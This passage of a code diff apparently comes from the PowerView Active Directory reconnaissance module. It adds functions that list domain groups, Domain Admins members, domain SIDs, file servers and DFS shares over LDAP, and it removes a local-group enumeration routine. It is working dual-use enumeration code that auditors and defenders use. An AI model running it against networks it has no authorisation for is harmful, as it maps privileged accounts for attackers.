+ $Results | Where-Object {$_} | ForEach-Object {
+ if ($FullData) {
+ # convert/process the LDAP fields for each result
+ Convert-LDAPProperty -Properties $_.Properties | Where-Object { $_.siteobject -match "CN=$SiteName" }
+ }
+ else {
+ # otherwise just return the subnet name and site name
+ if ( ($SiteName -and ($_.properties.siteobject -match "CN=$SiteName,")) -or ($SiteName -eq '*')) {
- [Parameter(ParameterSetName = 'WinNT')]
- [Parameter(ParameterSetName = 'API')]
- [String]
- $GroupName = 'Administrators',
+ $SubnetProperties = @{
+ 'Subnet' = $_.properties.name[0]
+ }
+ try {
+ $SubnetProperties['Site'] = ($_.properties.siteobject[0]).split(",")[0]
+ }
+ catch {
+ $SubnetProperties['Site'] = 'Error'
+ }
- [Parameter(ParameterSetName = 'WinNT')]
- [Switch]
- $ListGroups,
+ New-Object -TypeName PSObject -Property $SubnetProperties
+ }
+ }
+ }
+ $Results.dispose()
+ $SubnetSearcher.dispose()
+ }
+ catch {
+ Write-Warning $_
+ }
+ }
+ }
+}
- [Parameter(ParameterSetName = 'WinNT')]
- [Switch]
- $Recurse,
- [Parameter(ParameterSetName = 'API')]
- [Switch]
- $API
- )
+function Get-DomainSID {
+<#
+ .SYNOPSIS
- process {
+ Gets the SID for the domain.
- $Servers = @()
+ .PARAMETER Domain
- # if we have a host list passed, grab it
- if($ComputerFile) {
- $Servers = Get-Content -Path $ComputerFile
- }
- else {
- # otherwise assume a single host name
- $Servers += $ComputerName | Get-NameField
- }
+ The domain to query, defaults to the current domain.
- # query the specified group using the WINNT provider, and
- # extract fields as appropriate from the results
- ForEach($Server in $Servers) {
+ .PARAMETER DomainController
- if($API) {
- # if we're using the Netapi32 NetLocalGroupGetMembers API call to
- # get the local group information
+ Domain controller to reflect LDAP queries through.
- # arguments for NetLocalGroupGetMembers
- $QueryLevel = 2
- $PtrInfo = [IntPtr]::Zero
- $EntriesRead = 0
- $TotalRead = 0
- $ResumeHandle = 0
+ .EXAMPLE
- # get the local user information
- $Result = $Netapi32::NetLocalGroupGetMembers($Server, $GroupName, $QueryLevel, [ref]$PtrInfo, -1, [ref]$EntriesRead, [ref]$TotalRead, [ref]$ResumeHandle)
+ C:\> Get-DomainSID -Domain TEST
+
+ Returns SID for the domain 'TEST'
+#>
- # Locate the offset of the initial intPtr
- $Offset = $PtrInfo.ToInt64()
+ param(
+ [String]
+ $Domain,
- Write-Debug "NetLocalGroupGetMembers result for $Server : $Result"
- $LocalUsers = @()
+ [String]
+ $DomainController
+ )
- # 0 = success
- if (($Result -eq 0) -and ($Offset -gt 0)) {
+ $DCSID = Get-NetComputer -Domain $Domain -DomainController $DomainController -FullData -Filter '(userAccountControl:1.2.840.113556.1.4.803:=8192)' | Select-Object -First 1 -ExpandProperty objectsid
+ if($DCSID) {
+ $DCSID.Substring(0, $DCSID.LastIndexOf('-'))
+ }
+ else {
+ Write-Warning "Error extracting domain SID for $Domain"
+ }
+}
- # Work out how mutch to increment the pointer by finding out the size of the structure
- $Increment = $LOCALGROUP_MEMBERS_INFO_2::GetSize()
- # parse all the result structures
- for ($i = 0; ($i -lt $EntriesRead); $i++) {
- # create a new int ptr at the given offset and cast
- # the pointer as our result structure
- $NewIntPtr = New-Object System.Intptr -ArgumentList $Offset
- $Info = $NewIntPtr -as $LOCALGROUP_MEMBERS_INFO_2
+function Get-NetGroup {
+<#
+ .SYNOPSIS
- $Offset = $NewIntPtr.ToInt64()
- $Offset += $Increment
+ Gets a list of all current groups in a domain, or all
+ the groups a given user/group object belongs to.
- $SidString = ""
- $Result = $Advapi32::ConvertSidToStringSid($Info.lgrmi2_sid, [ref]$SidString)
- Write-Debug "Result of ConvertSidToStringSid: $Result"
+ .PARAMETER GroupName
- if($Result -eq 0) {
- # error codes - http://msdn.microsoft.com/en-us/library/windows/desktop/ms681382(v=vs.85).aspx
- $Err = $Kernel32::GetLastError()
- Write-Error "ConvertSidToStringSid LastError: $Err"
- }
- else {
- $LocalUser = New-Object PSObject
- $LocalUser | Add-Member Noteproperty 'ComputerName' $Server
- $LocalUser | Add-Member Noteproperty 'AccountName' $Info.lgrmi2_domainandname
- $LocalUser | Add-Member Noteproperty 'SID' $SidString
+ The group name to query for, wildcards accepted.
- $IsGroup = $($Info.lgrmi2_sidusage -eq 'SidTypeGroup')
- $LocalUser | Add-Member Noteproperty 'IsGroup' $IsGroup
- # add in our custom object
- $LocalUser.PSObject.TypeNames.Add('PowerView.LocalUser')
+ .PARAMETER SID
- $LocalUsers += $LocalUser
- }
- }
+ The group SID to query for.
- # free up the result buffer
- $Null = $Netapi32::NetApiBufferFree($PtrInfo)
+ .PARAMETER UserName
- # try to extract out the machine SID by using the -500 account as a reference
- $MachineSid = $LocalUsers | Where-Object {$_.SID -like '*-500'}
- $Parts = $MachineSid.SID.Split('-')
- $MachineSid = $Parts[0..($Parts.Length -2)] -join '-'
+ The user name (or group name) to query for all effective
+ groups of.
- $LocalUsers | ForEach-Object {
- if($_.SID -match $MachineSid) {
- $_ | Add-Member Noteproperty 'IsDomain' $False
- }
- else {
- $_ | Add-Member Noteproperty 'IsDomain' $True
- }
- }
- $LocalUsers
- }
- else
- {
- switch ($Result) {
- (5) {Write-Debug 'The user does not have access to the requested information.'}
- (124) {Write-Debug 'The value specified for the level parameter is not valid.'}
- (87) {Write-Debug 'The specified parameter is not valid.'}
- (234) {Write-Debug 'More entries are available. Specify a large enough buffer to receive all entries.'}
- (8) {Write-Debug 'Insufficient memory is available.'}
- (2312) {Write-Debug 'A session does not exist with the computer name.'}
- (2351) {Write-Debug 'The computer name is not valid.'}
- (2221) {Write-Debug 'Username not found.'}
- (53) {Write-Debug 'Hostname could not be found'}
- }
- }
- }
+ .PARAMETER Filter
- else {
- # otherwise we're using the WinNT service provider
- try {
- if($ListGroups) {
- # if we're listing the group names on a remote server
- $Computer = [ADSI]"WinNT://$Server,computer"
+ A customized ldap filter string to use, e.g. "(description=*admin*)"
- $Computer.psbase.children | Where-Object { $_.psbase.schemaClassName -eq 'group' } | ForEach-Object {
- $Group = New-Object PSObject
- $Group | Add-Member Noteproperty 'Server' $Server
- $Group | Add-Member Noteproperty 'Group' ($_.name[0])
- $Group | Add-Member Noteproperty 'SID' ((New-Object System.Security.Principal.SecurityIdentifier $_.objectsid[0],0).Value)
- $Group | Add-Member Noteproperty 'Description' ($_.Description[0])
- $Group.PSObject.TypeNames.Add('PowerView.LocalGroup')
- $Group
- }
- }
- else {
- # otherwise we're listing the group members
- $Members = @($([ADSI]"WinNT://$Server/$GroupName,group").psbase.Invoke('Members'))
+ .PARAMETER Domain
- $Members | ForEach-Object {
+ The domain to query for groups, defaults to the current domain.
- $Member = New-Object PSObject
- $Member | Add-Member Noteproperty 'ComputerName' $Server
+ .PARAMETER DomainController
- $AdsPath = ($_.GetType().InvokeMember('Adspath', 'GetProperty', $Null, $_, $Null)).Replace('WinNT://', '')
+ Domain controller to reflect LDAP queries through.
- # try to translate the NT4 domain to a FQDN if possible
- $Name = Convert-ADName -ObjectName $AdsPath -InputType 'NT4' -OutputType 'Canonical'
+ .PARAMETER ADSpath
- if($Name) {
- $FQDN = $Name.split("/")[0]
- $ObjName = $AdsPath.split("/")[-1]
- $Name = "$FQDN/$ObjName"
- $IsDomain = $True
- }
- else {
- $Name = $AdsPath
- $IsDomain = $False
- }
+ The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
+ Useful for OU queries.
- $Member | Add-Member Noteproperty 'AccountName' $Name
+ .PARAMETER AdminCount
- if($IsDomain) {
- # translate the binary sid to a string
- $Member | Add-Member Noteproperty 'SID' ((New-Object System.Security.Principal.SecurityIdentifier($_.GetType().InvokeMember('ObjectSID', 'GetProperty', $Null, $_, $Null),0)).Value)
+ Switch. Return group with adminCount=1.
- $Member | Add-Member Noteproperty 'Description' ""
- $Member | Add-Member Noteproperty 'Disabled' $False
+ .PARAMETER FullData
- # check if the member is a group
- $IsGroup = ($_.GetType().InvokeMember('Class', 'GetProperty', $Null, $_, $Null) -eq 'group')
- $Member | Add-Member Noteproperty 'IsGroup' $IsGroup
- $Member | Add-Member Noteproperty 'IsDomain' $IsDomain
+ Switch. Return full group objects instead of just object names (the default).
- if($IsGroup) {
- $Member | Add-Member Noteproperty 'LastLogin' $Null
- }
- else {
- try {
- $Member | Add-Member Noteproperty 'LastLogin' ( $_.GetType().InvokeMember('LastLogin', 'GetProperty', $Null, $_, $Null))
- }
- catch {
- $Member | Add-Member Noteproperty 'LastLogin' $Null
- }
- }
- $Member | Add-Member Noteproperty 'PwdLastSet' ""
- $Member | Add-Member Noteproperty 'PwdExpired' ""
- $Member | Add-Member Noteproperty 'UserFlags' ""
- }
- else {
- # repull this user object so we can ensure correct information
- $LocalUser = $([ADSI] "WinNT://$AdsPath")
+ .PARAMETER RawSids
- # translate the binary sid to a string
- $Member | Add-Member Noteproperty 'SID' ((New-Object System.Security.Principal.SecurityIdentifier($LocalUser.objectSid.value,0)).Value)
+ Switch. Return raw SIDs when using "Get-NetGroup -UserName X"
- $Member | Add-Member Noteproperty 'Description' ($LocalUser.Description[0])
+ .PARAMETER PageSize
- # UAC flags of 0x2 mean the account is disabled
- $Member | Add-Member Noteproperty 'Disabled' $(($LocalUser.userFlags.value -band 2) -eq 2)
+ The PageSize to set for the LDAP searcher object.
- # check if the member is a group
- $Member | Add-Member Noteproperty 'IsGroup' ($LocalUser.SchemaClassName -like 'group')
- $Member | Add-Member Noteproperty 'IsDomain' $IsDomain
+ .PARAMETER Credential
- if($IsGroup) {
- $Member | Add-Member Noteproperty 'LastLogin' ""
- }
- else {
- try {
- $Member | Add-Member Noteproperty 'LastLogin' ( $LocalUser.LastLogin[0])
- }
- catch {
- $Member | Add-Member Noteproperty 'LastLogin' ""
- }
- }
+ A [Management.Automation.PSCredential] object of alternate credentials
+ for connection to the target domain.
- $Member | Add-Member Noteproperty 'PwdLastSet' ( (Get-Date).AddSeconds(-$LocalUser.PasswordAge[0]))
- $Member | Add-Member Noteproperty 'PwdExpired' ( $LocalUser.PasswordExpired[0] -eq '1')
- $Member | Add-Member Noteproperty 'UserFlags' ( $LocalUser.UserFlags[0] )
- }
- $Member.PSObject.TypeNames.Add('PowerView.LocalUser')
- $Member
+ .EXAMPLE
- # if the result is a group domain object and we're recursing,
- # try to resolve all the group member results
- if($Recurse -and $IsDomain -and $IsGroup) {
+ PS C:\> Get-NetGroup
+
+ Returns the current groups in the domain.
- $FQDN = $Name.split("/")[0]
- $GroupName = $Name.split("/")[1].trim()
+ .EXAMPLE
- Get-NetGroupMember -GroupName $GroupName -Domain $FQDN -FullData -Recurse | ForEach-Object {
+ PS C:\> Get-NetGroup -GroupName *admin*
+
+ Returns all groups with "admin" in their group name.
- $Member = New-Object PSObject
- $Member | Add-Member Noteproperty 'ComputerName' "$FQDN/$($_.GroupName)"
+ .EXAMPLE
- $MemberDN = $_.distinguishedName
- # extract the FQDN from the Distinguished Name
- $MemberDomain = $MemberDN.subString($MemberDN.IndexOf("DC=")) -replace 'DC=','' -replace ',','.'
+ PS C:\> Get-NetGroup -Domain testing -FullData
+
+ Returns full group data objects in the 'testing' domain
+#>
- $MemberIsGroup = @('268435456','268435457','536870912','536870913') -contains $_.samaccounttype
+ [CmdletBinding()]
+ param(
+ [Parameter(ValueFromPipeline=$True)]
+ [String]
+ $GroupName = '*',
- if ($_.samAccountName) {
- # forest users have the samAccountName set
- $MemberName = $_.samAccountName
- }
- else {
- try {
- # external trust users have a SID, so convert it
- try {
- $MemberName = Convert-SidToName $_.cn
- }
- catch {
- # if there's a problem contacting the domain to resolve the SID
- $MemberName = $_.cn
- }
- }
- catch {
- Write-Debug "Error resolving SID : $_"
- }
- }
+ [String]
+ $SID,
- $Member | Add-Member Noteproperty 'AccountName' "$MemberDomain/$MemberName"
- $Member | Add-Member Noteproperty 'SID' $_.objectsid
- $Member | Add-Member Noteproperty 'Description' $_.description
- $Member | Add-Member Noteproperty 'Disabled' $False
- $Member | Add-Member Noteproperty 'IsGroup' $MemberIsGroup
- $Member | Add-Member Noteproperty 'IsDomain' $True
- $Member | Add-Member Noteproperty 'LastLogin' ''
- $Member | Add-Member Noteproperty 'PwdLastSet' $_.pwdLastSet
- $Member | Add-Member Noteproperty 'PwdExpired' ''
- $Member | Add-Member Noteproperty 'UserFlags' $_.userAccountControl
- $Member.PSObject.TypeNames.Add('PowerView.LocalUser')
- $Member
+ [String]
+ $UserName,
+
+ [String]
+ $Filter,
+
+ [String]
+ $Domain,
+
+ [String]
+ $DomainController,
+
+ [String]
+ $ADSpath,
+
+ [Switch]
+ $AdminCount,
+
+ [Switch]
+ $FullData,
+
+ [Switch]
+ $RawSids,
+
+ [ValidateRange(1,10000)]
+ [Int]
+ $PageSize = 200,
+
+ [Management.Automation.PSCredential]
+ $Credential
+ )
+
+ begin {
+ $GroupSearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $ADSpath -PageSize $PageSize
+ }
+
+ process {
+ if($GroupSearcher) {
+
+ if($AdminCount) {
+ Write-Verbose "Checking for adminCount=1"
+ $Filter += "(admincount=1)"
+ }
+
+ if ($UserName) {
+ # get the raw user object
+ $User = Get-ADObject -SamAccountName $UserName -Domain $Domain -DomainController $DomainController -Credential $Credential -ReturnRaw -PageSize $PageSize | Select-Object -First 1
+
+ if($User) {
+ # convert the user to a directory entry
+ $UserDirectoryEntry = $User.GetDirectoryEntry()
+
+ # cause the cache to calculate the token groups for the user
+ $UserDirectoryEntry.RefreshCache("tokenGroups")
+
+ $UserDirectoryEntry.TokenGroups | ForEach-Object {
+ # convert the token group sid
+ $GroupSid = (New-Object System.Security.Principal.SecurityIdentifier($_,0)).Value
+
+ # ignore the built in groups
+ if($GroupSid -notmatch '^S-1-5-32-.*') {
+ if($FullData) {
+ $Group = Get-ADObject -SID $GroupSid -PageSize $PageSize -Domain $Domain -DomainController $DomainController -Credential $Credential
+ $Group.PSObject.TypeNames.Add('PowerView.Group')
+ $Group
+ }
+ else {
+ if($RawSids) {
+ $GroupSid
+ }
+ else {
+ Convert-SidToName -SID $GroupSid
}
}
}
}
}
- catch {
- Write-Warning "[!] Error: $_"
+ else {
+ Write-Warning "UserName '$UserName' failed to resolve."
+ }
+ }
+ else {
+ if ($SID) {
+ $GroupSearcher.filter = "(&(objectCategory=group)(objectSID=$SID)$Filter)"
+ }
+ else {
+ $GroupSearcher.filter = "(&(objectCategory=group)(name=$GroupName)$Filter)"
+ }
+
+ $Results = $GroupSearcher.FindAll()
+ $Results | Where-Object {$_} | ForEach-Object {
+ # if we're returning full data objects
+ if ($FullData) {
+ # convert/process the LDAP fields for each result
+ $Group = Convert-LDAPProperty -Properties $_.Properties
+ $Group.PSObject.TypeNames.Add('PowerView.Group')
+ $Group
+ }
+ else {
+ # otherwise we're just returning the group name
+ $_.properties.samaccountname
+ }
+ }
+ $Results.dispose()
+ $GroupSearcher.dispose()
+ }
+ }
+ }
+}
+
+
+function Get-NetGroupMember {
+<#
+ .SYNOPSIS
+
+ This function users [ADSI] and LDAP to query the current AD context
+ or trusted domain for users in a specified group. If no GroupName is
+ specified, it defaults to querying the "Domain Admins" group.
+ This is a replacement for "net group 'name' /domain"
+
+ .PARAMETER GroupName
+
+ The group name to query for users.
+
+ .PARAMETER SID
+
+ The Group SID to query for users. If not given, it defaults to 512 "Domain Admins"
+
+ .PARAMETER Filter
+
+ A customized ldap filter string to use, e.g. "(description=*admin*)"
+
+ .PARAMETER Domain
+
+ The domain to query for group users, defaults to the current domain.
+
+ .PARAMETER DomainController
+
+ Domain controller to reflect LDAP queries through.
+
+ .PARAMETER ADSpath
+
+ The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
+ Useful for OU queries.
+
+ .PARAMETER FullData
+
+ Switch. Returns full data objects instead of just group/users.
+
+ .PARAMETER Recurse
+
+ Switch. If the group member is a group, recursively try to query its members as well.
+
+ .PARAMETER UseMatchingRule
+
+ Switch. Use LDAP_MATCHING_RULE_IN_CHAIN in the LDAP search query when -Recurse is specified.
+ Much faster than manual recursion, but doesn't reveal cross-domain groups.
+
+ .PARAMETER PageSize
+
+ The PageSize to set for the LDAP searcher object.
+
+ .PARAMETER Credential
+
+ A [Management.Automation.PSCredential] object of alternate credentials
+ for connection to the target domain.
+
+ .EXAMPLE
+
+ PS C:\> Get-NetGroupMember
+
+ Returns the usernames that of members of the "Domain Admins" domain group.
+
+ .EXAMPLE
+
+ PS C:\> Get-NetGroupMember -Domain testing -GroupName "Power Users"
+
+ Returns the usernames that of members of the "Power Users" group in the 'testing' domain.
+
+ .LINK
+
+ http://www.powershellmagazine.com/2013/05/23/pstip-retrieve-group-membership-of-an-active-directory-group-recursively/
+#>
+
+ [CmdletBinding()]
+ param(
+ [Parameter(ValueFromPipeline=$True)]
+ [String]
+ $GroupName,
+
+ [String]
+ $SID,
+
+ [String]
+ $Domain,
+
+ [String]
+ $DomainController,
+
+ [String]
+ $ADSpath,
+
+ [Switch]
+ $FullData,
+
+ [Switch]
+ $Recurse,
+
+ [Switch]
+ $UseMatchingRule,
+
+ [ValidateRange(1,10000)]
+ [Int]
+ $PageSize = 200,
+
+ [Management.Automation.PSCredential]
+ $Credential
+ )
+
+ begin {
+ if($DomainController) {
+ $TargetDomainController = $DomainController
+ }
+ else {
+ $TargetDomainController = ((Get-NetDomain -Credential $Credential).PdcRoleOwner).Name
+ }
+
+ if($Domain) {
+ $TargetDomain = $Domain
+ }
+ else {
+ $TargetDomain = Get-NetDomain -Credential $Credential | Select-Object -ExpandProperty name
+ }
+
+ # so this isn't repeated if users are passed on the pipeline
+ $GroupSearcher = Get-DomainSearcher -Domain $TargetDomain -DomainController $TargetDomainController -Credential $Credential -ADSpath $ADSpath -PageSize $PageSize
+ }
+
+ process {
+ if ($GroupSearcher) {
+ if ($Recurse -and $UseMatchingRule) {
+ # resolve the group to a distinguishedname
+ if ($GroupName) {
+ $Group = Get-NetGroup -GroupName $GroupName -Domain $TargetDomain -DomainController $TargetDomainController -Credential $Credential -FullData -PageSize $PageSize
+ }
+ elseif ($SID) {
+ $Group = Get-NetGroup -SID $SID -Domain $TargetDomain -DomainController $TargetDomainController -Credential $Credential -FullData -PageSize $PageSize
+ }
+ else {
+ # default to domain admins
+ $SID = (Get-DomainSID -Domain $TargetDomain -DomainController $TargetDomainController) + "-512"
+ $Group = Get-NetGroup -SID $SID -Domain $TargetDomain -DomainController $TargetDomainController -Credential $Credential -FullData -PageSize $PageSize
+ }
+ $GroupDN = $Group.distinguishedname
+ $GroupFoundName = $Group.name
+
+ if ($GroupDN) {
+ $GroupSearcher.filter = "(&(samAccountType=805306368)(memberof:1.2.840.113556.1.4.1941:=$GroupDN)$Filter)"
+ $GroupSearcher.PropertiesToLoad.AddRange(('distinguishedName','samaccounttype','lastlogon','lastlogontimestamp','dscorepropagationdata','objectsid','whencreated','badpasswordtime','accountexpires','iscriticalsystemobject','name','usnchanged','objectcategory','description','codepage','instancetype','countrycode','distinguishedname','cn','admincount','logonhours','objectclass','logoncount','usncreated','useraccountcontrol','objectguid','primarygroupid','lastlogoff','samaccountname','badpwdcount','whenchanged','memberof','pwdlastset','adspath'))
+
+ $Members = $GroupSearcher.FindAll()
+ $GroupFoundName = $GroupName
+ }
+ else {
+ Write-Error "Unable to find Group"
+ }
+ }
+ else {
+ if ($GroupName) {
+ $GroupSearcher.filter = "(&(objectCategory=group)(name=$GroupName)$Filter)"
}
+ elseif ($SID) {
+ $GroupSearcher.filter = "(&(objectCategory=group)(objectSID=$SID)$Filter)"
+ }
+ else {
+ # default to domain admins
+ $SID = (Get-DomainSID -Domain $TargetDomain -DomainController $TargetDomainController) + "-512"
+ $GroupSearcher.filter = "(&(objectCategory=group)(objectSID=$SID)$Filter)"
+ }
+
+ try {
+ $Result = $GroupSearcher.FindOne()
+ }
+ catch {
+ $Members = @()
+ }
+
+ $GroupFoundName = ''
+
+ if ($Result) {
+ $Members = $Result.properties.item("member")
+
+ if($Members.count -eq 0) {
+
+ $Finished = $False
+ $Bottom = 0
+ $Top = 0
+
+ while(!$Finished) {
+ $Top = $Bottom + 1499
+ $MemberRange="member;range=$Bottom-$Top"
+ $Bottom += 1500
+
+ $GroupSearcher.PropertiesToLoad.Clear()
+ [void]$GroupSearcher.PropertiesToLoad.Add("$MemberRange")
+ [void]$GroupSearcher.PropertiesToLoad.Add("name")
+ try {
+ $Result = $GroupSearcher.FindOne()
+ $RangedProperty = $Result.Properties.PropertyNames -like "member;range=*"
+ $Members += $Result.Properties.item($RangedProperty)
+ $GroupFoundName = $Result.properties.item("name")[0]
+
+ if ($Members.count -eq 0) {
+ $Finished = $True
+ }
+ }
+ catch [System.Management.Automation.MethodInvocationException] {
+ $Finished = $True
+ }
+ }
+ }
+ else {
+ $GroupFoundName = $Result.properties.item("name")[0]
+ $Members += $Result.Properties.item($RangedProperty)
+ }
+ }
+ $GroupSearcher.dispose()
+ }
+
+ $Members | Where-Object {$_} | ForEach-Object {
+ # if we're doing the LDAP_MATCHING_RULE_IN_CHAIN recursion
+ if ($Recurse -and $UseMatchingRule) {
+ $Properties = $_.Properties
+ }
+ else {
+ if($TargetDomainController) {
+ $Result = [adsi]"LDAP://$TargetDomainController/$_"
+ }
+ else {
+ $Result = [adsi]"LDAP://$_"
+ }
+ if($Result){
+ $Properties = $Result.Properties
+ }
+ }
+
+ if($Properties) {
+
+ $IsGroup = @('268435456','268435457','536870912','536870913') -contains $Properties.samaccounttype
+
+ if ($FullData) {
+ $GroupMember = Convert-LDAPProperty -Properties $Properties
+ }
+ else {
+ $GroupMember = New-Object PSObject
+ }
+
+ $GroupMember | Add-Member Noteproperty 'GroupDomain' $TargetDomain
+ $GroupMember | Add-Member Noteproperty 'GroupName' $GroupFoundName
+
+ if($Properties.objectSid) {
+ $MemberSID = ((New-Object System.Security.Principal.SecurityIdentifier $Properties.objectSid[0],0).Value)
+ }
+ else {
+ $MemberSID = $Null
+ }
+
+ try {
+ $MemberDN = $Properties.distinguishedname[0]
+
+ if (($MemberDN -match 'ForeignSecurityPrincipals') -and ($MemberDN -match 'S-1-5-21')) {
+ try {
+ if(-not $MemberSID) {
+ $MemberSID = $Properties.cn[0]
+ }
+ $MemberSimpleName = Convert-SidToName -SID $MemberSID | Convert-ADName -InputType 'NT4' -OutputType 'Canonical'
+ if($MemberSimpleName) {
+ $MemberDomain = $MemberSimpleName.Split('/')[0]
+ }
+ else {
+ Write-Warning "Error converting $MemberDN"
+ $MemberDomain = $Null
+ }
+ }
+ catch {
+ Write-Warning "Error converting $MemberDN"
+ $MemberDomain = $Null
+ }
+ }
+ else {
+ # extract the FQDN from the Distinguished Name
+ $MemberDomain = $MemberDN.subString($MemberDN.IndexOf("DC=")) -replace 'DC=','' -replace ',','.'
+ }
+ }
+ catch {
+ $MemberDN = $Null
+ $MemberDomain = $Null
+ }
+
+ if ($Properties.samaccountname) {
+ # forest users have the samAccountName set
+ $MemberName = $Properties.samaccountname[0]
+ }
+ else {
+ # external trust users have a SID, so convert it
+ try {
+ $MemberName = Convert-SidToName $Properties.cn[0]
+ }
+ catch {
+ # if there's a problem contacting the domain to resolve the SID
+ $MemberName = $Properties.cn
+ }
+ }
+
+ $GroupMember | Add-Member Noteproperty 'MemberDomain' $MemberDomain
+ $GroupMember | Add-Member Noteproperty 'MemberName' $MemberName
+ $GroupMember | Add-Member Noteproperty 'MemberSID' $MemberSID
+ $GroupMember | Add-Member Noteproperty 'IsGroup' $IsGroup
+ $GroupMember | Add-Member Noteproperty 'MemberDN' $MemberDN
+ $GroupMember.PSObject.TypeNames.Add('PowerView.GroupMember')
+ $GroupMember
+
+ # if we're doing manual recursion
+ if ($Recurse -and !$UseMatchingRule -and $IsGroup -and $MemberName) {
+ if($FullData) {
+ Get-NetGroupMember -FullData -Domain $MemberDomain -DomainController $TargetDomainController -Credential $Credential -GroupName $MemberName -Recurse -PageSize $PageSize
+ }
+ else {
+ Get-NetGroupMember -Domain $MemberDomain -DomainController $TargetDomainController -Credential $Credential -GroupName $MemberName -Recurse -PageSize $PageSize
+ }
+ }
+ }
+ }
+ }
+ }
+}
+
+
+function Get-NetFileServer {
+<#
+ .SYNOPSIS
+
+ Returns a list of all file servers extracted from user
+ homedirectory, scriptpath, and profilepath fields.
+
+ .PARAMETER Domain
+
+ The domain to query for user file servers, defaults to the current domain.
+
+ .PARAMETER DomainController
+
+ Domain controller to reflect LDAP queries through.
+
+ .PARAMETER TargetUsers
+
+ An array of users to query for file servers.
+
+ .PARAMETER PageSize
+
+ The PageSize to set for the LDAP searcher object.
+
+ .PARAMETER Credential
+
+ A [Management.Automation.PSCredential] object of alternate credentials
+ for connection to the target domain.
+
+ .EXAMPLE
+
+ PS C:\> Get-NetFileServer
+
+ Returns active file servers.
+
+ .EXAMPLE
+
+ PS C:\> Get-NetFileServer -Domain testing
+
+ Returns active file servers for the 'testing' domain.
+#>
+
+ [CmdletBinding()]
+ param(
+ [String]
+ $Domain,
+
+ [String]
+ $DomainController,
+
+ [String[]]
+ $TargetUsers,
+
+ [ValidateRange(1,10000)]
+ [Int]
+ $PageSize = 200,
+
+ [Management.Automation.PSCredential]
+ $Credential
+ )
+
+ function SplitPath {
+ # short internal helper to split UNC server paths
+ param([String]$Path)
+
+ if ($Path -and ($Path.split("\\").Count -ge 3)) {
+ $Temp = $Path.split("\\")[2]
+ if($Temp -and ($Temp -ne '')) {
+ $Temp
+ }
+ }
+ }
+
+ Get-NetUser -Domain $Domain -DomainController $DomainController -Credential $Credential -PageSize $PageSize | Where-Object {$_} | Where-Object {
+ # filter for any target users
+ if($TargetUsers) {
+ $TargetUsers -Match $_.samAccountName
+ }
+ else { $True }
+ } | ForEach-Object {
+ # split out every potential file server path
+ if($_.homedirectory) {
+ SplitPath($_.homedirectory)
+ }
+ if($_.scriptpath) {
+ SplitPath($_.scriptpath)
+ }
+ if($_.profilepath) {
+ SplitPath($_.profilepath)
+ }
+
+ } | Where-Object {$_} | Sort-Object -Unique
+}
+
+
+function Get-DFSshare {
+<#
+ .SYNOPSIS
+
+ Returns a list of all fault-tolerant distributed file
+ systems for a given domain.
+
+ .PARAMETER Version
+
+ The version of DFS to query for servers.
+ 1/v1, 2/v2, or all
+
+ .PARAMETER Domain
+
+ The domain to query for user DFS shares, defaults to the current domain.
+
+ .PARAMETER DomainController
+
+ Domain controller to reflect LDAP queries through.
+
+ .PARAMETER ADSpath
+
+ The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
+ Useful for OU queries.
+
+ .PARAMETER PageSize
+
+ The PageSize to set for the LDAP searcher object.
+
+ .PARAMETER Credential
+
+ A [Management.Automation.PSCredential] object of alternate credentials
+ for connection to the target domain.
+
+ .EXAMPLE
+
+ PS C:\> Get-DFSshare
+
+ Returns all distributed file system shares for the current domain.
+
+ .EXAMPLE
+
+ PS C:\> Get-DFSshare -Domain test
+
+ Returns all distributed file system shares for the 'test' domain.
+#>
+
+ [CmdletBinding()]
+ param(
+ [String]
+ [ValidateSet("All","V1","1","V2","2")]
+ $Version = "All",
+
+ [String]
+ $Domain,
+
+ [String]
+ $DomainController,
+
+ [String]
+ $ADSpath,
+
+ [ValidateRange(1,10000)]
+ [Int]
+ $PageSize = 200,
+
+ [Management.Automation.PSCredential]
+ $Credential
+ )
+
+ function Parse-Pkt {
+ [CmdletBinding()]
+ param(
+ [byte[]]
+ $Pkt
+ )
+
+ $bin = $Pkt
+ $blob_version = [bitconverter]::ToUInt32($bin[0..3],0)
+ $blob_element_count = [bitconverter]::ToUInt32($bin[4..7],0)
+ $offset = 8
+ #https://msdn.microsoft.com/en-us/library/cc227147.aspx
+ $object_list = @()
+ for($i=1; $i -le $blob_element_count; $i++){
+ $blob_name_size_start = $offset
+ $blob_name_size_end = $offset + 1
+ $blob_name_size = [bitconverter]::ToUInt16($bin[$blob_name_size_start..$blob_name_size_end],0)
+
+ $blob_name_start = $blob_name_size_end + 1
+ $blob_name_end = $blob_name_start + $blob_name_size - 1
+ $blob_name = [System.Text.Encoding]::Unicode.GetString($bin[$blob_name_start..$blob_name_end])
+
+ $blob_data_size_start = $blob_name_end + 1
+ $blob_data_size_end = $blob_data_size_start + 3
+ $blob_data_size = [bitconverter]::ToUInt32($bin[$blob_data_size_start..$blob_data_size_end],0)
+
+ $blob_data_start = $blob_data_size_end + 1
+ $blob_data_end = $blob_data_start + $blob_data_size - 1
+ $blob_data = $bin[$blob_data_start..$blob_data_end]
+ switch -wildcard ($blob_name) {
+ "\siteroot" { }
+ "\domainroot*" {
+ # Parse DFSNamespaceRootOrLinkBlob object. Starts with variable length DFSRootOrLinkIDBlob which we parse first...
+ # DFSRootOrLinkIDBlob
+ $root_or_link_guid_start = 0
+ $root_or_link_guid_end = 15
+ $root_or_link_guid = [byte[]]$blob_data[$root_or_link_guid_start..$root_or_link_guid_end]
+ $guid = New-Object Guid(,$root_or_link_guid) # should match $guid_str
+ $prefix_size_start = $root_or_link_guid_end + 1
+ $prefix_size_end = $prefix_size_start + 1
+ $prefix_size = [bitconverter]::ToUInt16($blob_data[$prefix_size_start..$prefix_size_end],0)
+ $prefix_start = $prefix_size_end + 1
+ $prefix_end = $prefix_start + $prefix_size - 1
+ $prefix = [System.Text.Encoding]::Unicode.GetString($blob_data[$prefix_start..$prefix_end])
+
+ $short_prefix_size_start = $prefix_end + 1
+ $short_prefix_size_end = $short_prefix_size_start + 1
+ $short_prefix_size = [bitconverter]::ToUInt16($blob_data[$short_prefix_size_start..$short_prefix_size_end],0)
+ $short_prefix_start = $short_prefix_size_end + 1
+ $short_prefix_end = $short_prefix_start + $short_prefix_size - 1
